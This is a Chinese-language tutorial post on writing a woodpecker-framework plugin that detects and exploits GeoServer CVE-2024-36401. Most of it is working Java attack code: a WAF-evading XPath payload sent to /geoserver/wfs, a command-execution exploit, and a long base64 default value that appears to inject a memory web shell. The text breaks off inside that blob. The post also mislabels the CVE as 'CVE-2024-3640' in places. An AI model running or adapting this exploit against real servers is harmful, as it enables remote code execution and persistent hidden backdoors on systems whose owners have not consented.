woodpecker-framework插件开发实战

woodpecker-framework插件开发实战

H1ng 开发 评论0次 2025-04-08 2025-04-09
246

前言

Woodpecker - framework是一款专注于漏洞精准检测与深度利用的框架,对于从事红队打点工作的人员而言,无疑是一款非常实用的得力工具。本文旨在学习Woodpecker插件的开发过程,并将相关过程予以记录。


完整项目已经打包到github

https://github.com/H1ng007/CVE-2024-3640_WafBypass


环境准备

woodpecker-sdk

https://github.com/woodpecker-framework/woodpecker-sdk/releases/tag/0.1.0.beta4

image.png

woodpecker-requests

像python requests一样进行网络请求

https://github.com/woodpecker-framework/woodpecker-requests/releases/tag/0.2.0

image.png

创建项目

创建一个maven项目,groupID必须为me.gv7.woodpecker.plugin,该类是woodpecker-framework识别插件的类,jdk版本建议1.8

image.png

在项目文件夹中新建lib目录,将下载好的两个jar包添加为依赖

image.png

image.png

按照下列图片创建Package包和Class类

创建下面三个包

exploit   #exp漏洞利用类
pocs     #poc检测类
utils

创建下面四个类

GeoserverVulPlugin(不固定,和漏洞名相关)
WoodpeckerPluginManager整个程序的入口
GeoserverlRcePoc(不固定,和漏洞名相关)
GeoserverlRceExp(不固定,和漏洞名相关)

image.png

开发

WoodpeckerPluginManager

插件的入口类,在该类中注册漏洞插件。

package me.gv7.woodpecker.plugin;

// IPluginManager接口由woodpecker-sdk提供
public class WoodpeckerPluginManager implements IPluginManager{
    @Override
    public void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {
        // 注册漏洞插件
        iPluginManagerCallbacks.registerVulPlugin( new GeoserverVulPlugin() );
    }
}

GeoserverVulPlugin

该类为注册插件的实现类,需要实现IVulPlugin类,在该类中生命漏洞相关信息。

package me.gv7.woodpecker.plugin;

import me.gv7.woodpecker.plugin.pocs.GeoserverlRcePoc;
import me.gv7.woodpecker.plugin.exploit.GeoserverlRceExp;

import java.util.ArrayList;
import java.util.List;

public class GeoserverVulPlugin implements IVulPlugin{

    public static IVulPluginCallbacks callbacks;
    public static IPluginHelper pluginHelper;
    @Override
    public void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {
        this.callbacks = iVulPluginCallbacks;
        this.pluginHelper = iVulPluginCallbacks.getPluginHelper();

        iVulPluginCallbacks.setVulPluginName("Geoserver CVE-2024-36401"); // 插件名字
        iVulPluginCallbacks.setVulPluginAuthor("H1ng"); // 作者名
        iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本
        iVulPluginCallbacks.setVulName("Geoserver CVE-2024-36401"); // 漏洞名称
        iVulPluginCallbacks.setVulDescription("GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。"); // 漏洞描述

        // 注册漏洞验证模块
        iVulPluginCallbacks.registerPoc(new GeoserverlRcePoc());

        // 注册漏洞利用模块(利用模块可以有多个)
        List<IExploit> exploitList = new ArrayList();
        exploitList.add(new GeoserverlRceExp());
        iVulPluginCallbacks.registerExploit(exploitList);
    }
}

GeoserverlRcePoc

需要实现IPoc接口并重写doVerify方法,该方法是执行poc检测调用的方法,检测结果保存到一个map对象responseMap中,map中包含flag和result两个变量,flag代表poc检测是否存在漏洞,result是详细说明

实际写代码下来发现woodpecker-requests虽然方便,但是功能不算强大,此处还是使用的原生支持库进行使用,jdk更换为21,woodpacker本身支持1.8及其以上版本的jdk

package me.gv7.woodpecker.plugin.pocs;

import me.gv7.woodpecker.plugin.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;

import java.util.HashMap;
import java.util.Map;

public class GeoserverlRcePoc implements IPoc {
    @Override
    public IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) {
        // 创建输出模块,用作结果的输出
        IScanResult scanResult = GeoserverVulPlugin.pluginHelper.createScanResult();
        // 设置目标地址,iTarget.getAddress()由插件面板获取地址
        scanResult.setTarget(iTarget.getAddress());
        // 调用漏洞验证函数
        Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());

        scanResult.setExists((Boolean) responseMap.get("flag"));
        scanResult.setMsg((String) responseMap.get("results"));

        iResultOutput.infoPrintln((String) responseMap.get("results"));
        return scanResult;
    }

    private Map<String, Object> checkConfluenceOgnl(String address) {
        Map<String,Object> responseMap = new HashMap<>();
        boolean flag = false;
        String results  = null;
        String targetUrl = address + "/geoserver/wfs";
        try {
            //延时5s检测poc
            String xmlData = """
                    <wfs:GetPropertyValue service='WFS' version='2.0.0'
                     xmlns:topp='http://www.openplans.org/topp'
                     xmlns:fes='http://www.opengis.net/fes/2.0'
                     xmlns:wfs='http://www.opengis.net/wfs/2.0'>
                      <wfs:Query typeNames='sf:archsites'/>
                      <wfs:valueReference>ja<!--!!!-->va.la<!--!!!-->ng.Thr<!--!!!-->ead.sl<!--!!!-->eep(5000)
                    </wfs:valueReference>
                    </wfs:GetPropertyValue>
            """;
            URL url = new URL(targetUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Content-Type", "application/xml; utf-8");
            conn.setRequestProperty("Accept", "application/xml");
            conn.setDoOutput(true);
            conn.setConnectTimeout(10000);  // 连接超时 10秒
            conn.setReadTimeout(15000);    // 读取超时 10秒
            // 记录请求开始时间
            long startTime = System.currentTimeMillis();
            // 发送 XML 请求体
            try (OutputStream os = conn.getOutputStream()) {
                byte[] input = xmlData.getBytes("utf-8");
                os.write(input, 0, input.length);
            }
            // 获取响应状态码
            int statusCode = conn.getResponseCode();
            // 计算总耗时
            long endTime = System.currentTimeMillis();
            long responseTime = endTime - startTime;
            if(statusCode == 200 && responseTime> 5000){
                flag = true;
                results = String.format("%s存在CVE-2024-3640",address);
            }else {
                flag = false;
                results = String.format("%s不存在CVE-2024-3640",address);
            }

        }catch (Exception e){
            flag = false;
            results = String.format("%s不存在CVE-2024-3640",address);
        }finally {
            // 设置responseMap的值,将flag和results带回去
            responseMap.put("flag",flag);
            responseMap.put("results",results);
        }
        // 返回
        return responseMap;
    }
}

使用maven打包进行测试

image.png

GeoserverlRceExp

需要实现IExploit并重写getExploitCustomArgs、doExploit两个方法。getExploitCustomArgs方法用于注册变量。

image.png

doExploit方法是真正执行EXP的方法,执行结果显示使用iResultOutput对象,攻击成功调用iResultOutput.successPrintln(),攻击失败调用iResultOutput.failPrintln

完整代码如下。

package me.gv7.woodpecker.plugin.exploit;

import me.gv7.woodpecker.plugin.*;


import java.net.InetSocketAddress;
import java.net.Proxy;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;

public class GeoserverlRceExp implements IExploit{
    @Override
    public String getExploitTabCaption() {
        return "代码执行";  // 选项名称
    }

    // 接收用户参数
    @Override
    public IArgsUsageBinder getExploitCustomArgs() {
        IArgsUsageBinder argsUsageBinder = GeoserverVulPlugin.pluginHelper.createArgsUsageBinder();
        List<IArg> args = new ArrayList<>();

        IArg command = GeoserverVulPlugin.pluginHelper.createArg();
        command.setDescription("执行的命令");
        command.setName("Command");
        command.setDefaultValue("whoami");
        command.setRequired(true);  // 必填
        args.add(command);

        IArg memshellflag = GeoserverVulPlugin.pluginHelper.createArg();
        memshellflag.setDescription("是否注入内存马");
        memshellflag.setName("memshellflag");
        memshellflag.setDefaultValue("true");
        memshellflag.setRequired(true);  // 必填
        args.add(memshellflag);

        IArg memshellcontent = GeoserverVulPlugin.pluginHelper.createArg();
        memshellcontent.setDescription("内存马base64内容");
        memshellcontent.setName("memshellcontent");
        memshellcontent.setDefaultValue("yv66vgAAADEBiQEADmphdmEvbGFuZy90ZXN0BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEADGdldENsYXNzTmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEQ29kZQEAPW9yZy5hcGFjaGUuY29tbW9ucy5sYW5nLlNlcnZsZXRDb250ZXh0QXR0cmlidXRlSnZ6ZXduTGlzdGVuZXIIAAgBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADAEAEGphdmEvbGFuZy9TdHJpbmcHAA4BDBRINHNJQUFBQUFBQUFBS1ZYYVZoVTF4bCtEek53aDJIVU9DUW8yaVl4YmpBTURPS0NRb3l5QmhUUVNJSkZrdGpMNWNLTURqUGozRHNvdHJGdGF0TXRUZmVtNmI0a3RXMjZxSTBEaG1xTWJaTTIzWmQwMy9lbWUvdW5mOUwwUGZkZUJtWVl4T2ZwTTNDWGM3N3YvYjd6ZnNzNTk1bi9QbjRSd0FiOFcyQjdQRGtTVWhPcUZ0WkRXbngwTkI0elFsRTFOaExxMVpOalVkMXNpY2RNL1pqWlpKckp5R0RLMUhlTkhkZVB4cm9paHFuSDlLUUNJWERkSVhWTXRaVmFvcXBoZE1YVklUbmxFbGdqcDQ2RkRCdHJHbk9mZmlTbEcrWU1TS0ZBMGMyUldNUzhSY0JWVWRrbjRHNkpEK2tDUzdvaU1iMG5OVHFvSjI5WEI2TWM4WGZGTlRYYXB5WWo4dDBaZEp2aGlDR3dvK3YvV2t5akR3bzhYcml4V0dCRlJWZmVaVFZLNzRRbXNHeWVlUWx5alFRcHBkd0kyYWtZYUs3TWxXM2szS0JBd1VDelFNbVFQc3hWV3VPRXBYaG41MXdGSDhxeFFzS3VGTGdtYVJQWXl2OWtmRndmRWxobnV6c2YxVzFqZXN5MFhDODE1azRJckw0S2JYTHYyTzFrcENKcU5ISmNXaTZkOGJUdG1LWW56RWc4cHVBbUx0ekIxSkxqQ1RNZWFva2t3cVJId0pQVWpRUWp3N2psT2gwMnpVU29nNWVNZlZ1U1dvcWhHd2FoQlc2Y1g4bVNvTEFyUG5oSUpvL2xXc3FNUkVQZGFrS0NPQXNRV0wrZ1pVdVFPcXNXWkVaQnRjRGFxOEpURUdLc3JtN1JDallJWEgvbHRTcllLTEFvYTVrS05uT28xMVMxdzN4ekNtVHBpRzVtZTBJZUt5cXZHSFdtM0Zaczg2SUdEUUxlc0M2enUwY2R0V3B3SnVhOUxLWFlDR1Z2eHZaaUZJQVZYRXhqSFpaNEppK3paQ3Z6cWU5RVV3bHFJZXZCTnRXblJsTzZENjAyYkJ1elBsZEx3YTNNSm8wMXJVWmlMSjJWV1NVYlZwTzljaUV4VFcrc1BPQkRKM1o1MFlIZEFtVWpNeVMzSitPakdVWnVXemdmYldaeWlaczNiMzNvUm8rWC91OGhoVllNbkNTK2FRNzVjOUxZaDl1d1QzTFN5L2pOaExoRE5jSldtTy93b2crTFBhaGl2aWRTZEgvcjdQWHZHVHlrYTJiajNKSEt1VU0rOU9OQUNiWmd3SU8xSHF4bmMwcDVjSkI5TmNIVzQ0TnF4NEFOeTBORFZtQllRWGtpbThkYW53OUQwRXV3Q2NQMHM2bXQxNE93MHpSeVdvTUMxbXdKU2VxTUdhYktzQWxVenBzOXVXM0ZoeWhHdlRnTWNudERsb0NSMERWbXRwYlV6ZDM2ZUMvZkZDUzRFaHBxSGpkMTVvMjdvbktnMllja0RKa2dwdDJEOHhqdWs2MTl6SXNqT0VvbHVWMUowVTViMHRDMVZESmlqb2RveEJJZHgzSHB6OHV5RXRkbVJjRTl0Z05PenkrdHlOZnZYNEZYZW5FQ3IySWp5NWxVOEdxQnhkUDY5cjRqVUQ0WEpiTWx2UWIzZVhFU3I1V3BXR3BYNkQ2blFsZE1xMFhpb2ViVThMQ2UxSWZzT2VxOUFXK1VHWGcvaXlhL2pJSUhySTZ1RHNtZFd1RGFpcnpWL1JhODFZczM0MjBDdmtIVjBMZHNhdFUxYTRNdnl4ZGhHWTEzNEozUzJYZXhhUS9GMnlNeE5jb3pndHhLNWVTNzhaRGs5ajArWEljeUtmWStaazVNUHpxVE9kbCtaUEw4QS9pZzVPRkR4R0lwcTFGRDdzOTVzcGI5NGlQNHFLVC9ZUlp1WmwranVPZWdGbFpqTVQzcXdTbUJRaExaM3JkZzZlVnBmQm1YUG9GUHloVTh5cWdjbk40WlBmZzBGM1NRclMxR0lScjI0TFBPWG1Ccjk4UjdVMXE0UGFKSGgyWnR1bWVZbG1OcWN2UDBIam0vYktNdFdadmR5eDJmN0xrTjlxMk9pVFZMSktrUFJ5a1RzdUFjU1c1QlMvTWNjSmJObzZYZzg2d0pFc2NjaUtyTUpHdFVvSHFCclNMYnRBOFg4WVNNNVNYdWRyS3pwaEo2VW90YS9lcXlySnlUK0VKT2NMUHErRXRlbk1WVDFEVjBzMG5UWk0rMWo1SVZCNlRBbC9FVkx5N2dHZllzZ3Vmc1kxZnFwRi9EMTZYaU41Z2I5T2I0Y1ptL1ZxNG5wMDlFT1djbGVWemhNWTZsWUtSaU5hTVJRNnRwYnVwdG15NlJwQWZmSThadzNObDcxeTdBMG5UMytENStJRG40SVN2T3RtL1hyUWMvdHN1L1d6ZkRjYksrTXcvZXdCeThmSEd3RVdqcXAvaVpOUFZ6Z2VYelNTbjRKVXN1RWh1TEgrWWF0dVVoYytBcStmMDFmdVBGci9CYkJjdWR6bG9qdDhXYVpxdXRlUEFIZTZQTmtQY24yclVKOE9EUDFLamJOancwWEwrbGZ1UG0rcnBhdlhhTEIzK2x4aDNjaGF1YlJuaVk4K0R2cEx0ditORDQ0YU9IUFBnblZyRTQzU0FLWEx4eUsrU1hrNUNuSGV2ZWF0MDlmRktzYXpIZjJxZ2hlRjhXbU1DU2dQOXY1NkFGL1A4NGh4MEIvNy9Pb2YwTXB3cmc1VlhXUFZERzN6S1U4TWxucS9HK3lBTG5oNFFEdVplU1VuWjVvR29DMXk2TXVZSW9LeTNNTWx2UHdaUlBTK0VucXBDdDAwSGZ6Z1ZLcWVKQWxhdnE0Z1JlZERvRFYyUzVkTU1zcU9JTVZER05MTGVnWG96ckhhak5saWFkUDVNRHNXWVdoTWhBY0xQR2pSYkVxbWtJOFRBMUZNNWRya3FqOFJKcXU0T0J4N0RqUEZvSzhCUWVuWG5oUTNzYVhRL2h3VUJ3QW50N2d1ZHh1MENEZXdwOS9SUFkzMUJZWHVoL0NRZnZkR0UvSCsrcXpqemVYZTUybnQzK2x4SkdPNDhSRi95UlNjUWJpc3FMQ3Fkd3BGOE9wNUh5Unlad0xJMlhUNkdnUDVER3ZXbThiZ0t2THk4S0VQaE5BbW04UFkwSDAzaHZHdTlQNDhQbGhXazhzdjhVQ2h1S1RzSGRjMFllbWpDSktheG1jbHpBSmQ1ZEZpZnRqQUt3bnFPVi9BVVFRaFhxRWVRcHVCcTdlZUx1NDhnZ1A5RGpxTU1ZTnVKK25wOG1lVUNiSXNFWDBFQ2tyWGlTU1NnNTdaQ25FalFUY1EyWkMrRUJyTVU2MnFuSGZiUlF3ZGp1eEQyV2xVTEphb2I3eXc3M0hqeE82MEg2V3MvUmRYQy9RRE5GQ2dvVTFDaW9WVkNuWUpOQzQwTEI2djlBTlBNbVk4dVRMYThmbzQ0c2o5VlcrQnV0WXVIS3F2d2ZuOFNuL0ovaDVSTHF1aytocktmS2Z6cDd5QlU4YmFYR0VpWWtFZWtnOTBJQ1NLQm51UURwN2xiUkxXbnZxZmFmZUFSbDFVeUpKNm01cU1GZG5jWVhlMDY5OEZ6d2FmaW1jTGFmZGZIMEUwRjNHbDhOVXVHYkVua1JTcGx3WngzSzY3aHdvSVg0clNTc25iTWRuTytreEM1bThXN21jQmZwMkVNUzl6SUkreWpmYTlHN2lYNHM1Ly9uOEppMXRLMDR4N0REZXBwZzZmQXJudHhNNGp6di9HUWptVk1XK1dCQTNNOURVWEJCd2NrZUJXZUxmYlBZRXZLRTR5ejJlY1pOTG5iYy8rd2tmdFFkOVAvRWZRRW4rMTMranQ0MGZoRmtZdkg5UkwrcmlxKy91NFRmWi81T2Qvdi9TQTJ5ODV5TEdoUVd2SitnVklPN25GemM2Ly9MYktSeTkzdzRWaHhxNmYxMGdxNmdTK0JuUVJFT2NIU0FiTnpKOWQ1Rmp1NjJXTG1GTTBWTW0yOXh0UVdjYWJLZVhKeXZ4cmZKajVzYXQ1S3o3MWdGUDU1SnVuRjgxK0tzM200TVIyUXV6WkNDL3dIUWl3YjRtaElBQUE9PQgAEAEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAEgATCgAPABQBAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAXAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAIbGlzdGVuZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEAEExqYXZhL2xhbmcvdGVzdDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAOamF2YS91dGlsL0xpc3QHACQBABJqYXZhL3V0aWwvSXRlcmF0b3IHACYBAA1TdGFja01hcFRhYmxlDAASABYKAAQAKQEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMACsALAoAAgAtAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7DAAvADALACUAMQEAB2hhc05leHQBAAMoKVoMADMANAsAJwA1AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAA3ADgLACcAOQEAC2dldExpc3RlbmVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMADsAPAoAAgA9AQALYWRkTGlzdGVuZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYMAD8AQAoAAgBBAQASY29udGV4dENsYXNzTG9hZGVyAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAEcBABBqYXZhL2xhbmcvVGhyZWFkBwBJAQATamF2YS91dGlsL0FycmF5TGlzdAcASwoATAApAQARZ2V0QWxsU3RhY2tUcmFjZXMBABEoKUxqYXZhL3V0aWwvTWFwOwwATgBPCgBKAFABAA1qYXZhL3V0aWwvTWFwBwBSAQAGa2V5U2V0AQARKClMamF2YS91dGlsL1NldDsMAFQAVQsAUwBWAQANamF2YS91dGlsL1NldAcAWAEAB3RvQXJyYXkBACgoW0xqYXZhL2xhbmcvT2JqZWN0OylbTGphdmEvbGFuZy9PYmplY3Q7DABaAFsLAFkAXAEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAJihMamF2YS9sYW5nL1RocmVhZDspTGphdmEvbGFuZy9PYmplY3Q7DABeAF8KAAIAYAEAE2lzV2ViQXBwQ2xhc3NMb2FkZXIBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAGIAYwoAAgBkAQAfZ2V0Q29udGV4dEZyb21XZWJBcHBDbGFzc0xvYWRlcgwAZgA8CgACAGcBAANhZGQMAGkAYwsAJQBqAQAQaXNIdHRwQ29ubmVjdGlvbgEAFShMamF2YS9sYW5nL1RocmVhZDspWgwAbABtCgACAG4BABxnZXRDb250ZXh0RnJvbUh0dHBDb25uZWN0aW9uDABwAF8KAAIAcQEACVNpZ25hdHVyZQEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47CABeAQAMaW52b2tlTWV0aG9kAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsMAHYAdwoAAgB4AQALY2xhc3NMb2FkZXIBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMAHsAfAoABAB9AQAPamF2YS9sYW5nL0NsYXNzBwB/AQAHZ2V0TmFtZQwAgQAGCgCAAIIBABFXZWJBcHBDbGFzc0xvYWRlcggAhAEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDACGAIcKAA8AiAEAB2hhbmRsZXIBAAhfY29udGV4dAgAiwEABWdldEZWDACNAHcKAAIAjgEAD19zZXJ2bGV0SGFuZGxlcggAkAEAD19jb250ZXh0SGFuZGxlcggAkgEADmh0dHBDb25uZWN0aW9uAQAFZW50cnkBAAFpAQABSQEADHRocmVhZExvY2FscwEABXRhYmxlCACYCACZAQAXamF2YS9sYW5nL3JlZmxlY3QvQXJyYXkHAJwBAAlnZXRMZW5ndGgBABUoTGphdmEvbGFuZy9PYmplY3Q7KUkMAJ4AnwoAnQCgAQADZ2V0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0kpTGphdmEvbGFuZy9PYmplY3Q7DACiAKMKAJ0ApAEABXZhbHVlCACmAQAOSHR0cENvbm5lY3Rpb24IAKgBAAtodHRwQ2hhbm5lbAEAB3JlcXVlc3QBAAdzZXNzaW9uAQAOc2VydmxldENvbnRleHQBAA5nZXRIdHRwQ2hhbm5lbAgArgEACmdldFJlcXVlc3QIALABAApnZXRTZXNzaW9uCACyAQARZ2V0U2VydmxldENvbnRleHQIALQBAAZ0aGlzJDAIALYBABhIdHRwQ29ubmVjdGlvbiBub3QgZm91bmQIALgKABgAFAEAE2phdmEvbGFuZy9UaHJvd2FibGUHALsBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwDGAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7DADIAMkKAEoAygEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAF4AzAoASgDNAQAOZ2V0Q2xhc3NMb2FkZXIMAM8AzAoAgADQDAAFAAYKAAIA0gEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMANQA1QoAxwDWAQALbmV3SW5zdGFuY2UMANgAOAoAgADZDAAKAAYKAAIA2wEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAN0A3goAAgDfAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAOEA4goAAgDjCAC/BwC+AQARamF2YS9sYW5nL0ludGVnZXIHAOcBAARUWVBFDADpAMIJAOgA6gEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwA7ADtCgCAAO4BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHAPABAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwA8gDzCgDxAPQBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwA9gD3CgDoAPgBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAPoA+woA8QD8AQAKaXNJbmplY3RlZAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWgwA/gD/CgACAQABABBhZGRFdmVudExpc3RlbmVyCAECAQAXamF2YS91dGlsL0V2ZW50TGlzdGVuZXIHAQQBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAHYBBgoAAgEHAQAOZXZlbnRMaXN0ZW5lcnMBABpbTGphdmEvdXRpbC9FdmVudExpc3RlbmVyOwEACWNsYXNzTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwcBCgEAEWdldEV2ZW50TGlzdGVuZXJzCAEOAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBAAliYXNlNjRTdHIBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIIARUBAAdmb3JOYW1lDAEXANUKAIABGAEADGRlY29kZUJ1ZmZlcggBGgEACWdldE1ldGhvZAwBHADtCgCAAR0BABBqYXZhLnV0aWwuQmFzZTY0CAEfAQAKZ2V0RGVjb2RlcggBIQEABmRlY29kZQgBIwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwElAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcBJwEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HASkBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcBKwEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBNgEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HATgBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBOgoBNwApAQAFKFtCKVYMABIBPQoBOQE+AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAASAUAKATsBQQEABHJlYWQBAAUoW0IpSQwBQwFECgE7AUUBAAV3cml0ZQEAByhbQklJKVYMAUcBSAoBNwFJAQALdG9CeXRlQXJyYXkBAAQoKVtCDAFLAUwKATcBTQEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAVMBVAoAAgFVAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAVcKAVgA9AwAogA8CgFYAVoBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAVwBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAV8BYAoAgAFhAQANZ2V0U3VwZXJjbGFzcwwBYwB8CgCAAWQKAV0AFAEADHRhcmdldE9iamVjdAEACm1ldGhvZE5hbWUBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEAE1tMamF2YS9sYW5nL09iamVjdDsBAAZtZXRob2QBAAl0ZW1wQ2xhc3MHAWoBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwBdAF1CgCAAXYKAPEAggEABmVxdWFscwwBeQBjCgAPAXoBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7DAF8AX0KAPEBfgoBKAAUAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24HAYEBAApnZXRNZXNzYWdlDAGDAAYKASwBhAoBggAUAQAIPGNsaW5pdD4KAAIAKQAhAAIABAAAAAAAEwABAAUABgABAAcAAAAQAAEAAQAAAAQTAAmwAAAAAAABAAoABgACAAsAAAAEAAEADQAHAAAAFwADAAEAAAALuwAPWRMAEbcAFbAAAAAAAAEAEgAWAAEABwAAANcAAgAFAAAANSq3ACoqtgAuTCu5ADIBAE0suQA2AQCZABosuQA6AQBOKi23AD46BC0ZBLgAQqf/46cABEyxAAEABAAwADMAGAAEABkAAAAmAAkAAAAhAAQAIwAJACQAIAAlACcAJgAtACcAMAAqADMAKAA0ACwAGgAAACoABAAnAAYAGwAcAAQAIAANAB0AHAADAAkAJwAeAB8AAQAAADUAIAAhAAAAIgAAAAwAAQAJACcAHgAjAAEAKAAAABoABP8AEAADBwACBwAlBwAnAAD5AB9CBwAYAAAAACsALAACAAcAAAFCAAMACAAAAHe7AExZtwBNTLgAUbkAVwEAA70ASrkAXQIAwABITSxOLb42BAM2BRUFFQSiAEstFQUyOgYqGQa3AGE6ByoZB7cAZZkAEysqGQe3AGi5AGsCAFenABkqGQa3AG+ZABArKhkGtwByuQBrAgBXpwAFOgeEBQGn/7QrsAABADMAagBtABgABAAZAAAAMgAMAAAALwAIADAAHQAxADMAMwA7ADQARAA1AFQANgBdADcAagA6AG0AOQBvADEAdQA8ABoAAAA0AAUAOwAvAEMAHAAHADMAPABEAEUABgAAAHcAIAAhAAAACABvAB4AHwABAB0AWgBGAEcAAgAiAAAADAABAAgAbwAeACMAAQAoAAAALQAG/wAmAAYHAAIHACUHAEgHAEgBAQAA/QAtBwBKBwAE+gAVQgcAGPoAAfgABQBzAAAAAgB0AAIAXgBfAAIABwAAADsAAgACAAAABysSdbgAebAAAAACABkAAAAGAAEAAABAABoAAAAWAAIAAAAHACAAIQAAA